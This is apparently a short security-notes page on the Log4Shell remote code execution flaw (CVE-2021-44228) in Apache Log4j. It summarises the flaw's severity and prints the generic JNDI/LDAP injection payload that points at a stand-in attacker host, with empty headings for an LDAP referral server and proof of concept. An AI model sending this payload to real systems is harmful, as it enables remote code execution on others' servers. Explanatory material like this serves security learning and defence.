Apache Log4j
Exploiting Apache Java logging framework
CVE-2021-44228
On December 9th, 2021, the world was made aware of a new vulnerability identified as CVE-2021-44228, affecting the Java logging package log4j. This vulnerability earned a severity score of 10.0 (the most critical designation) and offers remote code trivial remote code execution on hosts engaging with software that utilizes this log4j version. This attack has been dubbed "Log4Shell"
The general payload to abuse this log4j vulnerability. The format of the usual syntax that takes advantage of this looks like:
${jndi:ldap://ATTACKERCONTROLLEDHOST}
LDAP Referral Server
Resources/POC
Last updated
Was this helpful?